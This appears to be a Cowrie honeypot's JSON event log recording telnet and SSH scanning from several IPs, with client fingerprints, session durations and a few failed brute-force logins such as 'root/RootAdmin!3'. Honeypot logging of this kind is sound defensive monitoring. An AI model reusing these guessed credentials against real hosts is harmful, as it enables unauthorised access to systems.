{"eventid":"cowrie.session.closed","duration":0.005944967269897461,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:14.582660Z","src_ip":"34.156.125.181","session":"d2ce27a90bca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.125.181","src_port":38216,"dst_ip":"10.17.0.5","dst_port":23,"session":"14684883817b","protocol":"telnet","message":"New connection: 34.156.125.181:38216 (10.17.0.5:23) [session: 14684883817b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:14.733320Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.125.181","src_port":38224,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cf01d5c2d31","protocol":"telnet","message":"New connection: 34.156.125.181:38224 (10.17.0.5:23) [session: 8cf01d5c2d31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:14.886191Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.125.181","src_port":38240,"dst_ip":"10.17.0.5","dst_port":23,"session":"61a9b47efb1a","protocol":"telnet","message":"New connection: 34.156.125.181:38240 (10.17.0.5:23) [session: 61a9b47efb1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:15.040291Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.125.181","src_port":38246,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6d9105e9fbf","protocol":"telnet","message":"New connection: 34.156.125.181:38246 (10.17.0.5:23) [session: e6d9105e9fbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:15.194657Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.125.181","src_port":38262,"dst_ip":"10.17.0.5","dst_port":23,"session":"74fedb8c963b","protocol":"telnet","message":"New connection: 34.156.125.181:38262 (10.17.0.5:23) [session: 74fedb8c963b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:15.351029Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.125.181","src_port":38264,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ad5d2c3a29a","protocol":"telnet","message":"New connection: 34.156.125.181:38264 (10.17.0.5:23) [session: 3ad5d2c3a29a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:15.507471Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.125.181","src_port":38266,"dst_ip":"10.17.0.5","dst_port":23,"session":"be014468d503","protocol":"telnet","message":"New connection: 34.156.125.181:38266 (10.17.0.5:23) [session: be014468d503]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:15.661613Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.125.181","src_port":38282,"dst_ip":"10.17.0.5","dst_port":23,"session":"fceff959ddf9","protocol":"telnet","message":"New connection: 34.156.125.181:38282 (10.17.0.5:23) [session: fceff959ddf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:15.815799Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.125.181","src_port":38296,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e2ada6fbd54","protocol":"telnet","message":"New connection: 34.156.125.181:38296 (10.17.0.5:23) [session: 6e2ada6fbd54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:15.969936Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:15.975177Z","src_ip":"34.156.125.181","session":"6e2ada6fbd54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.125.181","src_port":38308,"dst_ip":"10.17.0.5","dst_port":23,"session":"1aa791d55753","protocol":"telnet","message":"New connection: 34.156.125.181:38308 (10.17.0.5:23) [session: 1aa791d55753]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:16.128238Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.125.181","src_port":38316,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4a12cae67cc","protocol":"telnet","message":"New connection: 34.156.125.181:38316 (10.17.0.5:23) [session: c4a12cae67cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:16.283145Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.125.181","src_port":38322,"dst_ip":"10.17.0.5","dst_port":23,"session":"18566898ab5d","protocol":"telnet","message":"New connection: 34.156.125.181:38322 (10.17.0.5:23) [session: 18566898ab5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:16.437499Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.125.181","src_port":38334,"dst_ip":"10.17.0.5","dst_port":23,"session":"109d8bf7c4c8","protocol":"telnet","message":"New connection: 34.156.125.181:38334 (10.17.0.5:23) [session: 109d8bf7c4c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:16.594319Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.125.181","src_port":38348,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2bd9c812684","protocol":"telnet","message":"New connection: 34.156.125.181:38348 (10.17.0.5:23) [session: d2bd9c812684]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:16.747953Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.125.181","src_port":30920,"dst_ip":"10.17.0.5","dst_port":23,"session":"256289b90078","protocol":"telnet","message":"New connection: 34.156.125.181:30920 (10.17.0.5:23) [session: 256289b90078]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:16.902737Z"}
{"eventid":"cowrie.session.closed","duration":0.01655292510986328,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:16.919181Z","src_ip":"34.156.125.181","session":"256289b90078","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.125.181","src_port":30928,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f60bd376391","protocol":"telnet","message":"New connection: 34.156.125.181:30928 (10.17.0.5:23) [session: 2f60bd376391]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:17.073313Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.125.181","src_port":30936,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd930c64b22f","protocol":"telnet","message":"New connection: 34.156.125.181:30936 (10.17.0.5:23) [session: cd930c64b22f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:17.228704Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 2571","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 2571] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:17.233699Z","src_ip":"34.156.125.181","session":"cd930c64b22f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.125.181","src_port":30948,"dst_ip":"10.17.0.5","dst_port":23,"session":"502ac58a8e4c","protocol":"telnet","message":"New connection: 34.156.125.181:30948 (10.17.0.5:23) [session: 502ac58a8e4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:17.385834Z"}
{"eventid":"cowrie.session.closed","duration":0.005367279052734375,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:17.391046Z","src_ip":"34.156.125.181","session":"502ac58a8e4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.809603452682495,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:17.633534Z","src_ip":"172.81.62.90","session":"06239360f20d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.227.244.120","src_port":40228,"dst_ip":"159.203.135.109","dst_port":22,"session":"e402c3444b4e","protocol":"ssh","message":"New connection: 209.227.244.120:40228 (159.203.135.109:22) [session: e402c3444b4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:24.954360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:24.957733Z","src_ip":"209.227.244.120","session":"e402c3444b4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:25.048812Z","src_ip":"209.227.244.120","session":"e402c3444b4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"informatika","password":"informatika","message":"login attempt [informatika/informatika] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:25.448849Z","src_ip":"209.227.244.120","session":"e402c3444b4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.951074361801147,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:25.458409Z","src_ip":"34.156.125.181","session":"3ad5d2c3a29a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.11306643486023,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:25.463946Z","src_ip":"34.156.125.181","session":"74fedb8c963b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.045947551727295,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:25.467100Z","src_ip":"34.156.125.181","session":"0980f1c6ff37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.431318044662476,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:25.471405Z","src_ip":"34.156.125.181","session":"61a9b47efb1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.588155269622803,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:25.474226Z","src_ip":"34.156.125.181","session":"8cf01d5c2d31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.743796110153198,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:25.476969Z","src_ip":"34.156.125.181","session":"14684883817b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.292160511016846,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:25.483454Z","src_ip":"34.156.125.181","session":"d286cac54b75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.449101448059082,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:25.486806Z","src_ip":"34.156.125.181","session":"381abe06fbe9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.60696291923523,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:25.489899Z","src_ip":"34.156.125.181","session":"cc775107978e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.76991868019104,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:25.494146Z","src_ip":"34.156.125.181","session":"fd71dcb3aa60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.93241572380066,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:25.496732Z","src_ip":"34.156.125.181","session":"e91cd4298dc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.246718168258667,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:25.499459Z","src_ip":"34.156.125.181","session":"6ff7de61b5f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.094317436218262,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:25.502208Z","src_ip":"34.156.125.181","session":"f397a2ab5466","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.407381296157837,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:25.505235Z","src_ip":"34.156.125.181","session":"0c31071c1afd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.563570261001587,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:25.508015Z","src_ip":"34.156.125.181","session":"d1715d31cbeb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":21.899933576583862,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:25.519895Z","src_ip":"34.156.125.181","session":"187ea78cddc4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.307328701019287,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:25.535765Z","src_ip":"34.156.125.181","session":"cd930c64b22f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.467039346694946,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:25.540222Z","src_ip":"34.156.125.181","session":"2f60bd376391","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.795532941818237,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:25.543345Z","src_ip":"34.156.125.181","session":"d2bd9c812684","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.951846599578857,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:25.546038Z","src_ip":"34.156.125.181","session":"109d8bf7c4c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.114181995391846,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:25.551551Z","src_ip":"34.156.125.181","session":"18566898ab5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.271449089050293,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:25.554481Z","src_ip":"34.156.125.181","session":"c4a12cae67cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.429876327514648,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:25.557929Z","src_ip":"34.156.125.181","session":"1aa791d55753","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.592928886413574,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:25.562715Z","src_ip":"34.156.125.181","session":"6e2ada6fbd54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.370898485183716,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:25.565411Z","src_ip":"34.156.125.181","session":"e6d9105e9fbf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.906282901763916,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:25.567702Z","src_ip":"34.156.125.181","session":"be014468d503","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.754427909851074,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:25.570105Z","src_ip":"34.156.125.181","session":"fceff959ddf9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:26.542740Z","src_ip":"209.227.244.120","session":"e402c3444b4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":35370,"dst_ip":"159.203.135.109","dst_port":23,"session":"38664c9ba9da","protocol":"telnet","message":"New connection: 172.81.62.90:35370 (159.203.135.109:23) [session: 38664c9ba9da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:33.200114Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.49.1.52","src_port":55896,"dst_ip":"10.17.0.5","dst_port":22,"session":"47ef0f65d01b","protocol":"ssh","message":"New connection: 65.49.1.52:55896 (10.17.0.5:22) [session: 47ef0f65d01b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:44.899057Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:44.903625Z","src_ip":"65.49.1.52","session":"47ef0f65d01b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:44.906444Z","src_ip":"65.49.1.52","session":"47ef0f65d01b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":58930,"dst_ip":"159.203.135.109","dst_port":23,"session":"83643cf8dd1c","protocol":"telnet","message":"New connection: 172.81.62.90:58930 (159.203.135.109:23) [session: 83643cf8dd1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:48.662073Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":49642,"dst_ip":"159.203.135.109","dst_port":22,"session":"db5625606b4f","protocol":"ssh","message":"New connection: 27.71.230.31:49642 (159.203.135.109:22) [session: db5625606b4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:57.663014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:57.808258Z","src_ip":"27.71.230.31","session":"db5625606b4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:57.919075Z","src_ip":"27.71.230.31","session":"db5625606b4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"RootAdmin!3","message":"login attempt [root/RootAdmin!3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:41:05.317055Z","src_ip":"27.71.230.31","session":"db5625606b4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.1","message":"Connection lost after 10.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:41:07.762389Z","src_ip":"27.71.230.31","session":"db5625606b4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.670114517211914,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:41:13.870036Z","src_ip":"172.81.62.90","session":"38664c9ba9da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48956,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfcc35db22a5","protocol":"telnet","message":"New connection: 128.199.8.54:48956 (159.203.135.109:23) [session: cfcc35db22a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:41:27.762597Z"}
{"eventid":"cowrie.session.closed","duration":39.17850375175476,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:41:27.840430Z","src_ip":"172.81.62.90","session":"83643cf8dd1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":39652,"dst_ip":"159.203.135.109","dst_port":23,"session":"fce21f7642bb","protocol":"telnet","message":"New connection: 172.81.62.90:39652 (159.203.135.109:23) [session: fce21f7642bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:41:41.247074Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":39646,"dst_ip":"159.203.135.109","dst_port":23,"session":"7adf6e04f4b9","protocol":"telnet","message":"New connection: 172.81.62.90:39646 (159.203.135.109:23) [session: 7adf6e04f4b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:41:41.251340Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":47028,"dst_ip":"159.203.135.109","dst_port":22,"session":"37257b75f0f5","protocol":"ssh","message":"New connection: 103.77.175.15:47028 (159.203.135.109:22) [session: 37257b75f0f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:41:42.449342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:41:42.453637Z","src_ip":"103.77.175.15","session":"37257b75f0f5","protocol":"ssh"}
